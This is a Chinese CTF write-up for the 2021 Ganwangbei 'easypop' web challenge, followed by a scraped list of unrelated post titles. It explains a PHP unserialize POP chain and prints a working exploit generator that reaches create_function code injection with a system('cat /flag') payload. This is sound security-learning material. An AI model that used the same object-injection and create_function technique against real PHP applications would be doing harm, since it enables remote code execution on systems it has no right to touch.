源码分析

 <?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
}
} class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
} unserialize($_GET[0]); ?>

一看到题,我对于unserialize($this->key)() 有点懵。在想对象反序列化后,这样怎么调用???或者入伏哦是对象当函数使用,又没有__invoke()之类的,会不会与内部类有关,但似乎都没解决办法。

后面一想,php弱类型语言,如果这个是我想要的函数字符串就好了,第一反应就想起来,序列化还可以对其他基本类型进行操作。。。gan,感觉刷题有点刷懵了,每次都是直接找对象来进行反序列化利用。这个地方直接序列化一个字符串不久ok了。于是直接去试了

?0=O:4:"func":3:{s:4:"mod1";N;s:4:"mod2";N;s:3:"key";s:14:"s:7:"phpinfo";";}

这里的主要部分就是后面的phpinfo字符串,序列化后又成为一个字符串,再加上一个(),完成phpinfo函数的调用

事实证明确实可以成功执行!!!这时候再回到题上来

很明显,这里就是要调用GetFlag::get_flag函数。如果这里反序列化一个类,他返回的是一个类,并不能形成$getFlag->get_flag()进行调用。

傻乎乎的竟然还是尝试了直接把它当作一个字符串,妄想达成目的,但事实说明,php真的就只会把他当作一个字符串进行调用。。。行动失败

后面来个一个小trick

类内的方法调用可以通过 [类,方法名]() 进行方法上的一个调用

前面可以看作一个数组,当反序列化成一个数组后,不久可以达成调用了吗。

所以这样是可以操作的。于是就可以开始构造一个payload用于完成get_flag()方法的调用了

可以看到最后其实就是指定一个函数,且需要满足 $code("",$action);

后面直接利用create_function注入,(不知道为什么可以就想到是create_function函数,那么多函数。。)

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

create_function()会创建一个匿名函数(lambda_样式)函数名是以lambda开头的一个自增的函数名,貌似当初做了一个关于爆破该函数的匿名函数名进行RCE的漏洞

create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); //返回lambda_1
//等效于
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}

它的原理就是将 参数传递进去,形成一个合法的字符串或者叫方法体,再通过Eval执行该字符串。由于是字符串拼接,自然也逃不了代码注入的缺陷!!!

它的构造流程就相当于

 function lambda_xxx(){
//传入的方法体及相关参数
}

再对方法体执行eval操作,当传入的方法体可控时,便可能触发RCE

<?php
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __construct()
{
$this->key = serialize([new GetFlag(), "get_flag"]);
}
} class GetFlag
{
public $code;
public $action;
public function __construct()
{
$this->code = ";}system('cat /flag');//";
$this->action = "create_function";
}
} $a = new func();
echo urlencode(serialize($a));

成功拿到flag

不理解为什么code里要先闭合原来的函数,本地复现不用闭合也可以实现啊???疑惑

google大法好啊!!!

终于找到原因了

醍醐灌顶之文

该函数的底层实现》》》

》 function \0lambda_%d( function_args ) { function_code } \0

所以看传进去的位置,从而完成不同的注入

【2021赣网杯web(一)】gwb-web-easypop的更多相关文章

  1. Sentry Web 性能监控 - Web Vitals

    系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒上手 Source Maps Sentry For ...

  2. “此网页上的某个 Web 部件或 Web 表单控件无法显示或导入。找不到该类型,或该类型未注册为安全类型。”

    自从vs装了Resharper,看见提示总是手贱的想去改掉它.于是乎手一抖,把一个 可视web部件的命名空间给改了. 喏,从LibrarySharePoint.WebPart.LibraryAddEd ...

  3. 语义网 (Semantic Web)和 web 3.0

    语义网=有意义的网络. "如果说 HTML 和 WEB 将整个在线文档变成了一本巨大的书,那么 RDF, schema, 和 inference languages 将会使世界上所有的数据变 ...

  4. Web APi之Web Host消息处理管道(六)

    前言 我们知道Web API本身是无法提供请求-响应的机制,它是通过Web Host以及Self Host的寄宿的宿主方式来提供一个请求-响应的运行环境.二者都是将请求和响应抽象成HttpRespon ...

  5. JavaEE中Web服务器、Web容器、Application服务器区别及联系

    在JavaEE 开发Web中,我们经常会听到Web服务器(Web Server).Web容器(Web Container).应用服务器(Application Server),等容易混淆不好理解名词. ...

  6. nginx+iis、NLB、Web Farm、Web Garden、ARR

    nginx+iis实现负载均衡 在win2008R2上使用(NLB)网络负载均衡 NLB网路负载均衡管理器详解 [译文]Web Farm和Web Garden的区别? IIS负载均衡-Applicat ...

  7. HTML5:web socket 和 web worker

    a:hover { cursor: pointer } 做练习遇到了一个选择题,是关于web worker的,问web worker会不会影响页面性能?补习功课之后,答案是不会影响. 查阅了相关资料学 ...

  8. 走进云背后:微软Azure web 项目通过web service部署web site

    探索云那不为人知的故事(一):Web Services部署web site 前奏:Windows Azure是微软基于云计算的操作系统,现在更名为“Microsoft Azure”,和Azure Se ...

  9. [Java Web] 1、Web开发初识——一大堆历史和技术名词

    LZ前言 LZ最近发现网络真是个神奇的东西,以前做的好玩的只能自娱自乐(或者说顾影自怜),现在只要发一个帖子,写一个博客,很快能引来一大群小伙伴的围观(有时候还能遇见几个大牛给个战略性的指导)...L ...

随机推荐

  1. cf13B Letter A(分类+简单计算几何,,)

    题意: 给三个线段(每个线段的两个端点的坐标),问这三个线段能否组成字母A. 组成字母A的条件: 1.两个线段有公共端点. 2.这两个线段夹角小于等于90度. 3.第三个线段的两个端点分别在这两个线段 ...

  2. Dubbo之负载均衡、并发控制、延迟暴露、连接控制

    1.并发控制 dubbo服务端和消费端都做了并发控制,分别在配置中有相应的对应配置: 服务端:executes服务提供者每服务每方法最大可并行执行请求数,控制并发数量:actives每服务消费者每服务 ...

  3. Unmount and run xfs_repair

    参考连接:https://blog.csdn.net/qq_35022803/article/details/109287086 如故障图所示,sda3出现问题, 下面的解决办法: 解决办法: 原因: ...

  4. MySQL 查询语句(1)

    一:创建数据库 1:CREATE DATABASE test; //创建数据库test 2:SHOW DATABASES: //查看目前数据库中可用的数据库,默认会有系统数据库 3:USE test; ...

  5. Git - git push origin master 报错的解决方法

    亲测实用,转载保存,原文地址:https://blog.csdn.net/kangvcar/article/details/72773904 错误提示如下: [root@linux1 php]# gi ...

  6. 通俗易懂的HTML全知识梳理笔记(第一部分)

    文章目录 什么是HTML 块级元素和内联元素 属性 给`a`元素添加属性 布尔属性 HTML的空白 实体引用: 在HTML中包含特殊字符 head中的元数据 meta元素 在你的站点中增加自定义的图标 ...

  7. sql sever 约束

    SQLServer中有五种约束,Primary Key约束.Foreign Key约束.Unique约束.Default约束和Check约束 1.Primary Key约束在表中常有一列或多列的组合, ...

  8. java meil

    import java.util.Date; import java.util.List; import java.util.Properties; import javax.activation.D ...

  9. OpenStack平台的使用

    一.OpenStack平台的使用 使用双节点部署,192.168.16.10为控制节点.192.168.16.20为计算节点. (一).创建镜像 1.在控制节点中找到qcow2镜像 [root@con ...

  10. [hdu7099]Just Another Data Structure Problem

    不难发现,问题即求满足以下条件的$(i,j)$对数: 1.$1\le i<j\le n$且$a_{i}=a_{j}$ 2.$\min_{i\le k\le j}y_{k}\ge l$且$\max ...